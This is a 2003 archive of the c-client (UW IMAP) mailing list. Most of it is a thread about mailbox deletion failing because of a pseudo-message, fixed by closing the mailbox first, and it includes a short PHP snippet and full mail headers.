Network Security Fax: +49 7452 889-136 FreeBSD spoken here! From pinedev@shivax2.cac.washington.edu Thu Dec 18 11:13:28 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 18 Dec 2003 11:13:28 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIJDRUF018858 for ; Thu, 18 Dec 2003 11:13:27 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIJDQlp022596 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 18 Dec 2003 11:13:26 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hBIJBf1r015154; Thu, 18 Dec 2003 11:11:42 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIJAuuL052238 for ; Thu, 18 Dec 2003 11:10:56 -0800 Received: from albert.micropp.se (157-3.sandnet.se [62.168.157.3] (may be forged)) by mxu4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIJAiSm022332 for ; Thu, 18 Dec 2003 11:10:54 -0800 Received: from micropp.se (albert.micropp.se [62.168.157.3]) by albert.micropp.se (Postfix) with ESMTP id AE3338748D for ; Thu, 18 Dec 2003 20:10:37 +0100 (CET) Message-Id: <3FE1FBAD.5080004@micropp.se> Date: Thu, 18 Dec 2003 20:10:37 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Lars Hallberg To: c-client@u.washington.edu Subject: Bug? MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='MAY_BE_FORGED 0.000, X_ACCEPT_LANG 0, SIGNATURE_SHORT_DENSE 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello After realising all the trouble with sorting uw-imap 'owned' mailfolders with procmail I wrote my own 'reprocmail' in PHP using c-client. Works mostly great! I have found one bug thou. It might be obsolet, as i run an old c-client (from debian stable). Anyway, I have a 'kill' option that removes the mailbox if it is empty after the mail in it has been resorted. But if it contains a pseudo messages, the removal of the folder fail becose it's not empty - but it is exept for the pseudo messages. It might be a matter of opinion, but I consider that a bug. Not a terable one, but a slightly anoying one. I use old fasion unix mailbox format if thats of relevans, probably shuld switch to mbx :-) If anyone shuld be intrested in 'reprocmal', mail me and I put it on a website, quick and dirty. Thanks /LaH -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Dec 18 11:27:17 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 18 Dec 2003 11:27:17 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIJRHUF019644 for ; Thu, 18 Dec 2003 11:27:17 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIJRF72012253 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 18 Dec 2003 11:27:16 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hBIJPMop015762; Thu, 18 Dec 2003 11:25:22 -0800 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIJOeuL030604 for ; Thu, 18 Dec 2003 11:24:40 -0800 Received: from fsc.cpsc.ucalgary.ca (fsc.cpsc.ucalgary.ca [136.159.2.3]) by mxu7.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIJOcZI030058 for ; Thu, 18 Dec 2003 11:24:39 -0800 Received: from imgw1.cpsc.ucalgary.ca (imgw1 [136.159.5.9]) by fsc.cpsc.ucalgary.ca (8.12.10/8.12.10) with ESMTP id hBIJLsa0025925; Thu, 18 Dec 2003 12:21:55 -0700 Received: from ms257a.cpsc.ucalgary.ca (ms257a [136.159.4.248]) by imgw1.cpsc.ucalgary.ca (8.12.10/8.12.10) with ESMTP id hBIJLqGW026804; Thu, 18 Dec 2003 12:21:52 -0700 Received: (from arlt@localhost) by ms257a.cpsc.ucalgary.ca (8.12.6/8.12.6/Submit) id hBIJLpuM025968; Thu, 18 Dec 2003 12:21:51 -0700 (MST) Message-Id: <20031218192151.GA25906@ms257a.cpsc.ucalgary.ca> Date: Thu, 18 Dec 2003 12:21:51 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Brad Arlt To: Lars Hallberg Cc: c-client@u.washington.edu Subject: Re: Bug? In-Reply-To: <3FE1FBAD.5080004@micropp.se> References: <3FE1FBAD.5080004@micropp.se> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Virus-Scanned: by amavis-milter (http://amavis.org/) X-Spam-Status: No, hits=3.3 required=6.8 X-Spam-Level: *** X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, Dec 18, 2003 at 08:10:37PM +0100, Lars Hallberg wrote: > Anyway, I have a 'kill' option that removes the mailbox if it is empty > after the mail in it has been resorted. But if it contains a pseudo > messages, the removal of the folder fail becose it's not empty - but it > is exept for the pseudo messages. It might be a matter of opinion, but I > consider that a bug. Not a terable one, but a slightly anoying one. I don't consider this a bug. The message is real. Pine, mutt, and friends all see it as a message if you open the file directly. The IMAP and POP servers treat it special (I think, it may be the clients though), but I don't think c-client should. The solution is to examine this one remaining message and see if it "counts". ----------------------------------------------------------------------- __o Bradley Arlt Security Team Lead _ \<_ arlt@cpsc.ucalgary.ca University Of Calgary (_)/(_) Joyously Canadian Computer Science From pinedev@shivax2.cac.washington.edu Thu Dec 18 11:40:34 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 18 Dec 2003 11:40:33 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIJeXUF020266 for ; Thu, 18 Dec 2003 11:40:33 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIJeW72012774 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 18 Dec 2003 11:40:32 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hBIJcQAk013412; Thu, 18 Dec 2003 11:38:26 -0800 Received: from mxu9.u.washington.edu (mxu9.u.washington.edu [140.142.32.174]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIJbiuL030098 for ; Thu, 18 Dec 2003 11:37:44 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxu9.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIJbhrQ014230 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 18 Dec 2003 11:37:43 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout3.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIJbTsr020074; Thu, 18 Dec 2003 11:37:29 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIJbTJ2009885; Thu, 18 Dec 2003 11:37:29 -0800 Message-Id: Date: Thu, 18 Dec 2003 11:37:29 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Lars Hallberg Cc: c-client@u.washington.edu Subject: Re: Bug? In-Reply-To: <3FE1FBAD.5080004@micropp.se> References: <3FE1FBAD.5080004@micropp.se> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='EMAIL_ATTRIBUTION 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 18 Dec 2003, Lars Hallberg wrote: > Anyway, I have a 'kill' option that removes the mailbox if it is empty after > the mail in it has been resorted. But if it contains a pseudo messages, the > removal of the folder fail becose it's not empty - but it is exept for the > pseudo messages. Don't use "filesize = 0" as the test. Use "stream->nmsgs = 0" (from a c-client stream open on the mailbox) instead. mbx format also has a non-empty file when it is empty of messages. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Dec 18 11:41:07 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 18 Dec 2003 11:41:07 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIJf7UF020280 for ; Thu, 18 Dec 2003 11:41:07 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIJf572012800 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 18 Dec 2003 11:41:06 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hBIJd6Fe014516; Thu, 18 Dec 2003 11:39:06 -0800 Received: from mxu9.u.washington.edu (mxu9.u.washington.edu [140.142.32.174]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIJcUuL042026 for ; Thu, 18 Dec 2003 11:38:30 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxu9.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIJcTrQ014446 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 18 Dec 2003 11:38:29 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout3.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIJcIsr020240; Thu, 18 Dec 2003 11:38:19 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIJcInq009904; Thu, 18 Dec 2003 11:38:18 -0800 Message-Id: Date: Thu, 18 Dec 2003 11:38:18 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Brad Arlt Cc: Lars Hallberg , c-client@u.washington.edu Subject: Re: Bug? In-Reply-To: <20031218192151.GA25906@ms257a.cpsc.ucalgary.ca> References: <3FE1FBAD.5080004@micropp.se> <20031218192151.GA25906@ms257a.cpsc.ucalgary.ca> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 18 Dec 2003, Brad Arlt wrote: > I don't consider this a bug. The message is real. Pine, mutt, and > friends all see it as a message if you open the file directly. The > IMAP and POP servers treat it special (I think, it may be the clients > though), but I don't think c-client should. Pine certainly does not see the message; nor does any other c-client based application. The support for the pseudo-message is in c-client, not in imapd/ipop3d. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Dec 18 11:42:19 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 18 Dec 2003 11:42:19 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIJgJUF020336 for ; Thu, 18 Dec 2003 11:42:19 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIJgHlp023634 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 18 Dec 2003 11:42:18 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hBIJeYop012330; Thu, 18 Dec 2003 11:40:34 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIJeAuL030006 for ; Thu, 18 Dec 2003 11:40:10 -0800 Received: from albert.micropp.se (157-3.sandnet.se [62.168.157.3] (may be forged)) by mxu5.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIJe6bc031693 for ; Thu, 18 Dec 2003 11:40:07 -0800 Received: from micropp.se (albert.micropp.se [62.168.157.3]) by albert.micropp.se (Postfix) with ESMTP id 915858749D for ; Thu, 18 Dec 2003 20:40:00 +0100 (CET) Message-Id: <3FE20290.6030804@micropp.se> Date: Thu, 18 Dec 2003 20:40:00 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Lars Hallberg To: c-client@u.washington.edu Subject: Re: Bug? In-Reply-To: <20031218192151.GA25906@ms257a.cpsc.ucalgary.ca> References: <3FE1FBAD.5080004@micropp.se> <20031218192151.GA25906@ms257a.cpsc.ucalgary.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='MAY_BE_FORGED 0.000, X_ACCEPT_LANG 0, EMAIL_ATTRIBUTION 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Brad Arlt wrote: >I don't consider this a bug. The message is real. Pine, mutt, and >friends all see it as a message if you open the file directly. The >IMAP and POP servers treat it special (I think, it may be the clients >though), but I don't think c-client should. The solution is to >examine this one remaining message and see if it "counts". > > Don't see hove I can do that thru c-client. I'l can go directly for the file of course (I do that now manaly). But the pseudo message is automagicly added by c-client, and therfor shuld be likewise automagicly removed... i think :-) I also think the pseudo message shuld say somthing like this in clear text: If you see this message, You are doing something wrong. You shuld only access these maileboxes thru c-client based programs! Or att least point to a document listing every consideration You have to do elsehow (not litle). /LaH From pinedev@shivax2.cac.washington.edu Thu Dec 18 11:57:08 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 18 Dec 2003 11:57:08 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIJv7UF021053 for ; Thu, 18 Dec 2003 11:57:07 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIJv6lp024176 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 18 Dec 2003 11:57:06 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hBIJtiFe004960; Thu, 18 Dec 2003 11:55:44 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIJt8uL036668 for ; Thu, 18 Dec 2003 11:55:08 -0800 Received: from albert.micropp.se (157-3.sandnet.se [62.168.157.3] (may be forged)) by mxu4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIJt2Sm003711 for ; Thu, 18 Dec 2003 11:55:03 -0800 Received: from micropp.se (albert.micropp.se [62.168.157.3]) by albert.micropp.se (Postfix) with ESMTP id AE3FC87459; Thu, 18 Dec 2003 20:55:01 +0100 (CET) Message-Id: <3FE20615.3070804@micropp.se> Date: Thu, 18 Dec 2003 20:55:01 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Lars Hallberg To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: Bug? In-Reply-To: References: <3FE1FBAD.5080004@micropp.se> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='MAY_BE_FORGED 0.000, X_ACCEPT_LANG 0, EMAIL_ATTRIBUTION 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: >Don't use "filesize = 0" as the test. Use "stream->nmsgs = 0" (from a >c-client stream open on the mailbox) instead. > > I do that, and pases that test. But then the actuly delete of the mailbox fail, but not if it hase no pseudo message, dont realy know why, but they not always ther. Here is the code, I open the imap chanel whitout user/server data to go strajt to the filesystem thru client. Works great - for everything else anyway :-/ $mbox = imap_open($mailbox, "", ""); $n = imap_num_msg($mbox); if(!$n) { if(imap_deletemailbox($mbox, $mailbox)) { print("$mailbox KILLED!\n\n"); } else { print("ERROR: $mailbox not killed\n\n"); } } else { print("$mailbox NOT killed, not empty!\n\n"); } imap_close($mbox); Sorry, this is PHP interface to c-client - might not look to familiar :-/ /LaH From pinedev@shivax2.cac.washington.edu Thu Dec 18 12:43:33 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 18 Dec 2003 12:43:33 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIKhWUF023982 for ; Thu, 18 Dec 2003 12:43:32 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIKhV72015113 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 18 Dec 2003 12:43:31 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hBIKfoFe016196; Thu, 18 Dec 2003 12:41:51 -0800 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIKf5uL045230 for ; Thu, 18 Dec 2003 12:41:05 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxu8.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIKf4Rg006412 for ; Thu, 18 Dec 2003 12:41:04 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout3.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIKevsr029172; Thu, 18 Dec 2003 12:40:57 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIKevq3012094; Thu, 18 Dec 2003 12:40:57 -0800 Message-Id: Date: Thu, 18 Dec 2003 12:40:57 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Lars Hallberg Cc: c-client@u.washington.edu Subject: Re: Bug? In-Reply-To: <3FE20615.3070804@micropp.se> References: <3FE1FBAD.5080004@micropp.se> <3FE20615.3070804@micropp.se> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN You can not delete a mailbox which is open. Close it first, then delete it. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Dec 18 14:26:02 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 18 Dec 2003 14:26:01 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIMQ1UF028902 for ; Thu, 18 Dec 2003 14:26:01 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIMPxlp029655 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 18 Dec 2003 14:26:00 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hBIMO81r004984; Thu, 18 Dec 2003 14:24:08 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIMNIuL031428 for ; Thu, 18 Dec 2003 14:23:18 -0800 Received: from albert.micropp.se (157-3.sandnet.se [62.168.157.3] (may be forged)) by mxu5.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBIMNFbc017868 for ; Thu, 18 Dec 2003 14:23:17 -0800 Received: from micropp.se (albert.micropp.se [62.168.157.3]) by albert.micropp.se (Postfix) with ESMTP id 479B987459; Thu, 18 Dec 2003 23:23:12 +0100 (CET) Message-Id: <3FE228CF.9020300@micropp.se> Date: Thu, 18 Dec 2003 23:23:11 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Lars Hallberg To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: Bug? In-Reply-To: References: <3FE1FBAD.5080004@micropp.se> <3FE20615.3070804@micropp.se> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='MAY_BE_FORGED 0.000, X_ACCEPT_LANG 0, EMAIL_ATTRIBUTION 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: >You can not delete a mailbox which is open. Close it first, then delete >it. > > Thanks, works! Strange thou it sometimes did work anyway. I'm not 100% sure, but it did seam to be related to pseudo message... every folder failing did at least have pseudo messages :-/ Thanks again /LaH From pinedev@shivax2.cac.washington.edu Fri Dec 19 00:11:19 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 19 Dec 2003 00:11:18 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBJ8BIUF013972 for ; Fri, 19 Dec 2003 00:11:18 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBJ8BG72001835 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 19 Dec 2003 00:11:17 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hBJ8A61r015612; Fri, 19 Dec 2003 00:10:06 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBJ88tuL040130 for ; Fri, 19 Dec 2003 00:08:55 -0800 Received: from natsmtp01.rzone.de (natsmtp01.rzone.de [81.169.145.166]) by mxu3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBJ88r2X013471 for ; Fri, 19 Dec 2003 00:08:54 -0800 Received: from pc (p508B2713.dip.t-dialin.net [80.139.39.19]) by post.webmailer.de (8.12.10/8.12.10) with SMTP id hBJ88pbj021425 for ; Fri, 19 Dec 2003 09:08:51 +0100 (MET) Message-Id: <3FE2B210.6080804@boerkel.de> Date: Fri, 19 Dec 2003 09:08:48 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: =?ISO-8859-1?Q?Thomas_B=F6rkel?= To: uw-imap Subject: Re: TLS In-Reply-To: References: <3FDD6262.6040407@boerkel.de> <3FDEB79C.1050206@boerkel.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=XII, Probability=12%, Report='X_NJABL_DUL 1, X_ACCEPT_LANG 0, RCVD_IN_NJABL_ORG 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN HI! Thanks for all your information. I have done a search for Mozilla bugs and I have found some that relate to my problems. I'll see what I can add to them, so the Mozilla developers can fix them. Thanks! Thomas From pinedev@shivax2.cac.washington.edu Mon Dec 22 03:56:11 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 22 Dec 2003 03:56:11 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBMBuBUF020608 for ; Mon, 22 Dec 2003 03:56:11 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBMBu9lp030555 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 22 Dec 2003 03:56:09 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hBMBseAk015020; Mon, 22 Dec 2003 03:54:43 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBMBpguL052192 for ; Mon, 22 Dec 2003 03:51:42 -0800 Received: from artemis.le.ac.uk (mailsend.le.ac.uk [143.210.16.126]) by mxu4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBMBpeSm012696 for ; Mon, 22 Dec 2003 03:51:41 -0800 Received: from [143.210.72.249] (helo=scyros.mcs.le.ac.uk) by artemis.le.ac.uk with esmtp (Exim 4.24) id 1AYOb5-00072w-MZ for c-client@u.washington.edu; Mon, 22 Dec 2003 11:51:39 +0000 Received: from pc54 (pc54.mcs.le.ac.uk [143.210.72.46]) by scyros.mcs.le.ac.uk (Postfix) with SMTP id 5A1A72F6736 for ; Mon, 22 Dec 2003 11:51:40 +0000 (GMT) Message-Id: <20031222115140.5A1A72F6736@scyros.mcs.le.ac.uk> Date: Mon, 22 Dec 2003 11:54:12 +0000 